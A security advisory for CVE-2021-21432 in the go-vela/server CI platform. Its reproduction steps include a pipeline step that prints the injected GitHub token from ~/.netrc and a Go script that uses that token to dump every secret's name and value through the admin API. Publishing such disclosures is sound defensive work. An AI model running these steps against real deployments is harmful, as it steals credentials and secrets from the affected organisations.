CVE-2021-21432 — server

Impact

What kind of vulnerability is it? Who is impacted?

The additional auth mechanism added within https://github.com/go-vela/server/pull/246 enables some malicious user to obtain secrets utilizing the injected credentials within the ~/.netrc file. Steps to reproduce

1. Create Vela server

2. Login to Vela UI

3. Promote yourself to Vela administrator

   • UPDATE users SET admin = 't' WHERE name = <username>

4. Activate repository within Vela

5. Add .vela.yml to the repository with the following content

   version: "1"
   
   steps:
   - name: steal
     image: alpine
     commands:
       - cat ~/.netrc
   

6. Look at build logs to find the following content

   $ cat ~/.netrc
   machine <GITHUB URL>
   login x-oauth-basic
   password <token>
   

7. Copy the password to be utilized in some later step

8. Add secret(s) to activated repo

9. Copy the following script into main.go

   package main
   
   import (
       "fmt"
       "github.com/go-vela/sdk-go/vela"
       "os"
   )
   
   func main() {
       // create client to connect to vela
       client, err := vela.NewClient(os.Getenv("VELA_SERVER_ADDR"), "vela", nil)
       if err != nil {
   	    panic(err)
       }
   
       // add PAT to request
       client.Authentication.SetPersonalAccessTokenAuth(os.Getenv("VELA_TOKEN"))
   
   
       secrets, _, err := client.Admin.Secret.GetAll(&vela.ListOptions{})
       if err != nil {
   	    panic(err)
       }
   
       for _, secret := range *secrets {
   	    fmt.Println(*secret.Name)
   	    fmt.Println(*secret.Value)
       }
   }
   

10. Run the main.go with environment specific settings

    • VELA_SERVER_ADDR=http://localhost:8080 VELA_TOKEN=<token obtained previously> go run main.go

The previously posted script could be updated to utilize any API endpoint(s) the activated user has access against.

Patches

Has the problem been patched? What versions should users upgrade to?

• Upgrade to v0.7.5 or later

Workarounds

Is there a way for users to fix or remediate the vulnerability without upgrading?

• No known workarounds

References

Are there any links users can visit to find out more?

• https://github.com/go-vela/server/pull/246
• https://docs.github.com/en/[email protected]/rest/reference/apps#check-a-token

For more information

If you have any questions or comments about this advisory

• Email us at [email protected]